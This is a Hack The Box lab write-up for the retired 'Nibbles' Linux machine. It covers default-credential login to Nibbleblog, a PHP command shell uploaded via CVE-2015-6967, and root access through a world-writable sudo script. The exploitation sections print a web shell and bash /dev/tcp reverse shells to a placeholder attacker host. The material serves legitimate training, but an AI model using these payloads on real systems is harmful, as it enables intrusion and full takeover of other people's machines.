~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / nibbles.md

nibbles

Linux · Easy · released 2017-12-23 · retired 2018-06-30

Summary

This writeup is reconstructed from public walkthroughs (see Source attribution below). I have not personally rooted this box.

Nibbles is a clean three-step Linux Easy: default-credentials → authenticated file upload → world-writable sudo target. The web root explicitly hints at /nibbleblog/; the admin login at /nibbleblog/admin.php accepts the default credentials admin / nibbles; once authenticated, CVE-2015-6967 in Nibbleblog 4.0.3’s “My Image” plugin allows an arbitrary file upload — the plugin’s image-upload form does not validate extensions, so a .php file lands at /content/private/plugins/my_image/image.php and is script-executed by Apache. The privesc is a sudo entry granting passwordless execution of /home/nibbler/personal/stuff/monitor.sh to nibbler — combined with the script being world-writable, that is one append away from a root shell.

The teaching beat is “version banners on niche CMSs always contain the exploit”. Nibbleblog is a small, lightly-maintained PHP CMS with a short patch history; the banner Nibbleblog 4.0.3 is itself a disclosure of CVE-2015-6967. A second beat is “sudo entries pointing at user-controllable scripts are always game over”: the (root) NOPASSWD: <script> form is fine if and only if the script is root-owned and not user-writable. On Nibbles, monitor.sh is owned by nibbler with chmod 777 — the security model collapses on either of those individually.

Source attribution

Reconstruction is grounded in:

Recon

22/tcp  open  ssh   OpenSSH 7.2p2
80/tcp  open  http  Apache httpd 2.4.18

The HTTP root serves a “Hello world!” page with a comment hint:

<!-- /nibbleblog/ directory. Nothing interesting here -->

(Plus the obvious “the directory the page tells you contains nothing is always the load-bearing one.”)

/nibbleblog/ is a Nibbleblog CMS install. The CMS exposes a few files that leak useful state:

/nibbleblog/README          → Nibbleblog 4.0.3 fingerprint
/nibbleblog/admin.php       → admin login form
/nibbleblog/content/private/users.xml  → reveals admin username

Gobuster pulls these out:

gobuster dir -u http://<TARGET>/nibbleblog/ \
    -w /usr/share/wordlists/dirb/common.txt -x php,xml

The version 4.0.3 is the fingerprint to search for. CVE-2015-6967 is an authenticated file upload affecting that exact release.

Foothold — admin/nibbles + Nibbleblog plugin upload

Default-credential probing on the admin login: admin/admin, admin/password, and admin/nibbles — the last (matching the software name, a common-enough convention) succeeds. The admin panel exposes plugin management at /nibbleblog/admin.php?controller=plugins&action=list.

The “My Image” plugin’s configuration page provides an image upload form. The plugin’s PHP code (in plugins/my_image/index.php) saves the uploaded file under content/private/plugins/my_image/image.<ext> and does not validate the extension or content type — a PHP file passes the filter unchanged.

# attacker — prepare a small PHP cmd shell
cat > shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF

In the My Image plugin’s upload form, submit shell.php. The upload succeeds; the file lands at /nibbleblog/content/private/plugins/my_image/image.php (the plugin renames the upload to image.<ext> regardless of the original filename).

Trigger:

curl "http://<TARGET>/nibbleblog/content/private/plugins/my_image/image.php?cmd=id"

Returns uid=1001(nibbler) gid=1001(nibbler). Note: the shell runs as nibbler directly, not www-data — Apache here is configured to use mpm_itk or similar to run user vhosts as the owning Unix user. That detail is unusual; on most HTB Linux boxes the foothold lands as www-data and a separate lateral move is required for user.txt.

For convenience, upgrade to a reverse shell:

curl "http://<TARGET>/nibbleblog/content/private/plugins/my_image/image.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F%3CATTACKER%3E%2F4444%200%3E%261%22"

user.txt is at /home/nibbler/user.txt and readable directly.

Privilege escalation — world-writable sudo target

sudo -l from the nibbler shell:

nibbler@nibbles:~$ sudo -l
User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

The script doesn’t exist by default — personal/stuff/ is a deliberate breadcrumb. There’s also a zip artifact in ~/personal.zip that, when unzipped, creates the directory and the empty script:

nibbler@nibbles:~$ unzip personal.zip
nibbler@nibbles:~$ ls -la /home/nibbler/personal/stuff/monitor.sh
-rwxrwxrwx 1 nibbler nibbler 0 ... monitor.sh

-rwxrwxrwx — world-writable. Even without that, the script lives in the nibbler user’s home and is owned by nibbler, so nibbler can rewrite it freely.

Append a reverse shell:

echo 'bash -c "bash -i >& /dev/tcp/<ATTACKER>/4445 0>&1"' \
    >> /home/nibbler/personal/stuff/monitor.sh

Listener:

nc -lvnp 4445

Trigger via sudo:

sudo /home/nibbler/personal/stuff/monitor.sh

The reverse shell connects back as root.

sh-4.3# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.3# cat /root/root.txt

Why each step worked

Counterfactuals

Key Takeaways

References

← all htb machines hackthebox.com ↗